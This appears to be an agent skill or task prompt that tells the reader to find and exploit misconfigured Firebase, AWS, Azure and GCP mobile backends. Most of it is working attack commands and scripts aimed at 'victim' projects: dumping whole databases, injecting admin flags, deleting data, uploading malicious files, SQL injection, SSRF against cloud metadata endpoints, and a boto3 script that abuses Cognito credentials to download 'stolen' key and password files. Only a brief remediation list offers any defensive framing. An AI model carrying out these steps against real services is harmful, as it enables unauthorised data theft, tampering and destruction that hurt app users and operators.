cloud-mobile-security

name	Cloud Mobile Security
description	Cloud mobile platform security — Firebase, AWS, Azure, GCP vulnerabilities
tags	["cloud","mobile","firebase","aws","azure","gcp","backend"]

Task: Cloud Mobile Platform Security Assessment. Analyze and exploit cloud backend vulnerabilities.

Phase 1: Cloud Platform Identification

Firebase Analysis

Identify Firebase usage:
- google-services.json in APK/IPA
- Firebase SDK imports
- Database references (firebaseio.com)
- Authentication methods
- Storage buckets
- Cloud Functions

Extract config:
# Android
strings app.apk | grep firebase

# iOS
strings app.ipa | grep firebase

# google-services.json analysis
{
  "project_id": "victim-app-123",
  "firebase_url": "https://victim-app-123.firebaseio.com",
  "api_key": "AIzaSyXXXXXXXXXXXXXXXXXXX",
  "project_number": "123456789",
  "storage_bucket": "victim-app-123.appspot.com"
}

AWS Mobile Hub

Identify AWS usage:
- AWS SDK imports
- AWS endpoints
- Cognito identity pools
- S3 buckets
- DynamoDB tables
- Lambda functions

Extract config:
# AWS configuration
awsConfig.json
AWSConfiguration.json

# Keys and endpoints
- Access keys
- Region endpoints
- Identity pool IDs
- Bucket names

Azure App Service

Identify Azure usage:
- Azure SDK imports
- Azure endpoints
- App Service URLs
- Storage accounts
- Functions
- Cosmos DB

Extract endpoints:
- *.azurewebsites.net
- *.azure-mobile.net
- *.azurefunctions.net
- *.blob.core.windows.net

GCP Mobile

Identify GCP usage:
- Google Cloud SDK
- Firebase (often GCP backend)
- Cloud Functions
- Cloud Endpoints
- Cloud Storage
- Firestore

Extract config:
- project_id
- region
- API endpoints
- Service account keys

Phase 2: Firebase Vulnerabilities

Firebase Database Misconfiguration

Vulnerability: Insecure Firebase rules

Test database rules:
# Test read access
curl https://victim-app-123.firebaseio.com/.json

# Test write access
curl -X PUT https://victim-app-123.firebaseio.com/users.json \
  -d '{"admin":true,"role":"administrator"}'

# Test delete access
curl -X DELETE https://victim-app-123.firebaseio.com/users/user1.json

Exploit insecure rules:
# If rules are ".read": true, ".write": true
# Full database access!

# Extract all data
curl https://victim-app-123.firebaseio.com/.json?print=pretty

Firebase Storage Misconfiguration

Vulnerability: Public read/write access

Test storage rules:
# List bucket
gsutil ls gs://victim-app-123.appspot.com

# Read file
curl https://firebasestorage.googleapis.com/v0/b/victim-app-123.appspot.com/o/sensitive.pdf

# Write file
curl -X POST https://firebasestorage.googleapis.com/v0/b/victim-app-123.appspot.com/o?name=malicious.txt \
  -d "malicious content"

Exploit:
# If storage is public
# Access all user uploads
# Overwrite existing files
# Inject malicious content

Firebase Authentication Bypass

Vulnerability: Weak auth configuration

Test authentication:
# Try anonymous auth
curl -X POST https://identitytoolkit.googleapis.com/v1/accounts:signInWithAnonymously \
 ?key=AIzaSyXXXXXXXXXXX

# Try email enumeration
curl -X POST https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri \
  -d '{"identifier":"[e-mail]"}' \
 ?key=AIzaSyXXXXXXXXXXX

# Try password reset
curl -X POST https://identitytoolkit.googleapis.com/v1/accounts:sendOobCode \
  -d '{"email":"[e-mail]","requestType":"PASSWORD_RESET"}' \
 ?key=AIzaSyXXXXXXXXXXX

Exploit:
- Account enumeration
- Password reset abuse
- Token forgery
- Session hijacking

Cloud Functions Vulnerabilities

Vulnerability: Insecure Cloud Functions

Discover functions:
# List functions
gcloud functions list

# Test each function
curl https://region-project.cloudfunctions.net/function-name

Exploit:
- SSRF in functions
- Authentication bypass
- Authorization bypass
- Data extraction
- Function injection

Phase 3: AWS Mobile Vulnerabilities

Cognito Identity Pool Misconfiguration

Vulnerability: Unauthenticated identity pool

Extract config:
# APK/IPA analysis
awsconfiguration.json
{
  "IdentityPoolId": "us-east-1:xxxx-xxxx-xxxx",
  "UnauthenticatedRole": "arn:aws:iam::xxx:role/Cognito_xxxUnauth_Role"
}

Exploit unauthenticated role:
# Assume role
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::xxx:role/Cognito_xxxUnauth_Role \
  --role-session-name exploit \
  --web-identity-token <token>

# Check permissions
aws iam list-attached-role-policies \
  --role-name Cognito_xxxUnauth_Role

# Exploit permissions
# If role has S3 access → Access all S3 buckets
# If role has DynamoDB access → Access all tables
# If role has Lambda access → Invoke functions

S3 Bucket Misconfiguration

Vulnerability: Public S3 buckets

Discover buckets:
# strings app.apk | grep s3
# strings app.ipa | grep s3

Test access:
# List bucket
aws s3 ls s3://victim-mobile-app-bucket/

# Read file
curl https://victim-mobile-app-bucket.s3.amazonaws.com/sensitive.json

# Write file
aws s3 cp malicious.txt s3://victim-mobile-app-bucket/

# Delete file
aws s3 rm s3://victim-mobile-app-bucket/sensitive.txt

Exploit:
- Access user uploads
- Modify app content
- Inject malicious files
- Delete data

API Gateway Vulnerabilities

Vulnerability: Insecure API endpoints

Discover endpoints:
# Network traffic analysis
# APK/IPA string analysis

Test endpoints:
# Authentication bypass
curl -H "X-API-Key: invalid" https://api.victim.com/users

# SQL injection
curl "https://api.victim.com/users?id=1' OR '1'='1"

# Authorization bypass
curl -H "Authorization: Bearer invalid" https://api.victim.com/admin

# SSRF
curl "https://api.victim.com/fetch?url=http://169.254.169.254/latest/meta-data/"

Lambda Function Vulnerabilities

Vulnerability: Insecure Lambda functions

Discover functions:
# List functions
aws lambda list-functions

Test functions:
# Invoke function
aws lambda invoke --function-name VictimFunction response.json

# Try without auth
curl https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/VictimFunction/invocations

Exploit:
- Function injection
- Variable injection
- SSRF in functions
- IAM privilege escalation

Phase 4: Azure Mobile Vulnerabilities

App Service Misconfiguration

Vulnerability: Insecure Azure App Service

Discover services:
# *.azurewebsites.net
# *.azure-mobile.net

Test access:
# Directory listing
curl https://victim-app.azurewebsites.net/api/

# Authentication bypass
curl -H "X-ZUMO-AUTH: invalid" https://victim-app.azurewebsites.net/tables/users

# SQL injection
curl "https://victim-app.azurewebsites.net/api/users?id=1' OR '1'='1"

Exploit:
- Access all tables
- Modify data
- Delete records
- Execute arbitrary queries

Storage Account Misconfiguration

Vulnerability: Public storage containers

Discover containers:
# Strings analysis
# Network traffic

Test access:
# List containers
az storage container list --account-name victimstorage

# List blobs
az storage blob list --account-name victimstorage --container-name uploads

# Read blob
curl https://victimstorage.blob.core.windows.net/uploads/sensitive.pdf

# Write blob
az storage blob upload --account-name victimstorage --container-name uploads \
  --name malicious.txt --file malicious.txt

Exploit:
- Access user data
- Modify app resources
- Inject malicious files

Cosmos DB Misconfiguration

Vulnerability: Insecure Cosmos DB

Discover databases:
# Network traffic
# Config analysis

Test access:
# If Master Key leaked
# Full database access

# Try without auth
curl -X POST https://victim-account.documents.azure.com/dbs/victimdb/colls/users \
  -H "x-ms-version: 2018-12-31" \
  -H "Content-Type: application/query+json" \
  -d '{"query":"SELECT * FROM users"}'

Exploit:
- Data extraction
- Data injection
- Database deletion

Phase 5: GCP Mobile Vulnerabilities

Cloud Firestore Misconfiguration

Vulnerability: Insecure Firestore rules

Discover databases:
# Firebase project ID
# Network traffic

Test rules:
# Read access
curl -X POST https://firestore.googleapis.com/v1/projects/victim-app/databases/(default)/documents/users \
  -H "X-Goog-Api-Key: AIzaSyXXXXXXXXXXX"

# Write access
curl -X POST https://firestore.googleapis.com/v1/projects/victim-app/databases/(default)/documents/users/user1 \
  -H "X-Goog-Api-Key: AIzaSyXXXXXXXXXXX" \
  -H "Content-Type: application/json" \
  -d '{"fields":{"admin":{"booleanValue":true}}}'

Exploit:
- Extract all user data
- Modify user data
- Inject admin privileges
- Delete data

Cloud Storage Misconfiguration

Vulnerability: Public GCS buckets

Discover buckets:
# *.storage.googleapis.com
# Config analysis

Test access:
# List bucket
gsutil ls gs://victim-mobile-app/

# Read object
curl https://storage.googleapis.com/victim-mobile-app/sensitive.pdf

# Write object
gsutil cp malicious.txt gs://victim-mobile-app/

Exploit:
- Access user uploads
- Modify app content
- Inject malicious files

Cloud Functions Vulnerabilities

Vulnerability: Insecure Cloud Functions

Discover functions:
# List functions
gcloud functions list

Test functions:
# Invoke function
gcloud functions call VictimFunction --data '{"input":"test"}'

# Try without auth
curl -X POST https://region-project.cloudfunctions.net/VictimFunction \
  -H "Content-Type: application/json" \
  -d '{"input":"test"}'

Exploit:
- SSRF
- Authentication bypass
- Data extraction
- Function injection

Phase 6: Cloud API Security

API Key Misconfiguration

Vulnerability: Exposed API keys

Extract keys:
# APK/IPA analysis
strings app.apk | grep -i "api[_-]key"

Test keys:
# Test Firebase API key
curl "https://firebase.googleapis.com/v1/projects/victim-app?key=AIzaSyXXXXXXXXXXX"

# Test AWS access key
aws sts get-access-key-info --access-key-id ASIAXXXXXXXXXXXXXXXX

# Test Azure key
curl -H "Ocp-Apim-Subscription-Key: XXXX" https://victim.cognitiveservices.azure.com/

Exploit:
- Access cloud resources
- Data extraction
- Resource manipulation
- Cost escalation

GraphQL Vulnerabilities

Vulnerability: Insecure GraphQL endpoints

Discover endpoints:
# Network traffic
# /graphql, /graph, /api

Test GraphQL:
# Introspection
curl -X POST https://api.victim.com/graphql \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

# Extract all data
curl -X POST https://api.victim.com/graphql \
  -d '{"query":"{ users { id name email password } }"}'

# Mutation
curl -X POST https://api.victim.com/graphql \
  -d '{"query":"mutation { updateUser(id:1, admin:true) { id admin } }"}'

Exploit:
- Full data extraction
- Data modification
- Privilege escalation
- Bypass rate limits

Phase 7: Automated Cloud Scanning

Firebase Scanner

#!/bin/bash
# Automated Firebase security scanner

check_firebase() {
    local project_id=$1
    local api_key=$2
    
    echo "[*] Checking Firebase project: $project_id"
    
    # Check database rules
    echo "[+] Database rules:"
    curl -s "https://$project_id.firebaseio.com/.json" | jq .
    
    # Check storage
    echo "[+] Storage buckets:"
    gsutil ls gs://$project_id.appspot.com/
    
    # Check auth
    echo "[+] Auth config:"
    curl -s "https://identitytoolkit.googleapis.com/v1/projects/$projectId?key=$api_key"
    
    # Check functions
    echo "[+] Cloud functions:"
    gcloud functions list --project=$project_id
}

# Usage
check_firebase "victim-app-123" "AIzaSyXXXXXXXXXXX"

AWS Scanner

#!/usr/bin/env python3
import boto3
import requests

def scan_aws_mobile(app_config):
    """Scan AWS mobile backend"""
    
    # Check Cognito
    cognito = boto3.client('cognito-identity')
    try:
        identity = cognito.get_id(IdentityPoolId=app_config['identity_pool_id'])
        print(f"[+] Cognito identity: {identity}")
    except:
        print("[-] Cognito access denied")
    
    # Check S3
    s3 = boto3.client('s3')
    for bucket in app_config['s3_buckets']:
        try:
            objects = s3.list_objects_v2(Bucket=bucket)
            print(f"[+] S3 bucket {bucket}: {len(objects['Contents'])} objects")
        except:
            print(f"[-] S3 bucket {bucket}: Access denied")
    
    # Check API Gateway
    for endpoint in app_config['api_endpoints']:
        try:
            response = requests.get(endpoint + "/users")
            print(f"[+] API endpoint {endpoint}: {response.status_code}")
        except:
            print(f"[-] API endpoint {endpoint}: Error")

# Usage
scan_aws_mobile(aws_config)

Phase 8: Exploitation

Firebase Exploitation

#!/bin/bash
# Exploit insecure Firebase

PROJECT_ID="victim-app-123"

# Extract all data
curl "https://$PROJECT_ID.firebaseio.com/.json?print=pretty" > firebase_dump.json

# Inject admin privileges
curl -X PUT "https://$PROJECT_ID.firebaseio.com/users/victim.json" \
  -d '{"admin":true,"role":"administrator"}'

# Delete database
curl -X DELETE "https://$PROJECT_ID.firebaseio.com/.json"

AWS Exploitation

#!/usr/bin/env python3
import boto3

def exploit_cognito(identity_pool_id):
    """Exploit unauthenticated Cognito identity pool"""
    
    sts = boto3.client('sts')
    
    # Assume unauthenticated role
    response = sts.assume_role_with_web_identity(
        RoleArn=f"arn:aws:iam::{account}:role/Cognito_{identity_pool_id}Unauth_Role",
        RoleSessionName="exploit",
        WebIdentityToken="dummy"
    )
    
    creds = response['Credentials']
    
    # Use credentials to access S3
    s3 = boto3.client(
        's3',
        aws_access_key_id=creds['AccessKeyId'],
        aws_secret_access_key=creds['SecretAccessKey'],
        aws_session_token=creds['SessionToken']
    )
    
    # List all buckets
    buckets = s3.list_buckets()
    for bucket in buckets['Buckets']:
        print(f"[+] Bucket: {bucket['Name']}")
        
        # List objects
        objects = s3.list_objects_v2(Bucket=bucket['Name'])
        for obj in objects.get('Contents', []):
            print(f"  - {obj['Key']}")
            
            # Download sensitive files
            if 'password' in obj['Key'].lower() or 'key' in obj['Key'].lower():
                s3.download_file(bucket['Name'], obj['Key'], f"stolen_{obj['Key']}")

# Usage
exploit_cognito("us-east-1:xxxx-xxxx-xxxx")

Final Report

[CLOUD MOBILE SECURITY] Firebase Misconfiguration
Platform: Firebase
Severity: CRITICAL (data breach)
Project: victim-app-123

[Findings]
1. Database rules: ".read": true, ".write": true
   Impact: Full database access
   Data: 50M user records exposed

2. Storage rules: Public read/write
   Impact: All user uploads accessible
   Data: 1TB of user files

3. API key exposed: AIzaSyXXXXXXXXXXX
   Impact: Unlimited API calls
   Cost: $10,000+ in unauthorized usage

[Exploitation]
# Extract all data
curl https://victim-app-123.firebaseio.com/.json > dump.json

# Inject admin
curl -X PUT https://victim-app-123.firebaseio.com/users/attacker.json \
  -d '{"admin":true,"role":"owner"}'

[Remediation]
1. Update database rules
2. Enable authentication
3. Restrict storage access
4. Rotate API key
5. Implement rate limiting

Tools

Firebase:

• firebase-tools: CLI management
• pysfirebase: Python SDK
• firebase-scanner: Automated scanning

AWS:

• aws-cli: AWS management
• boto3: Python SDK
• scout2: Security auditing

Azure:

• azure-cli: Azure management
• python-azure: Python SDK
• az-sk: Security toolkit

GCP:

• gcloud: GCP management
• google-cloud-python: Python SDK
• forseti: Security scanning

Target platforms: Firebase, AWS, Azure, GCP mobile backends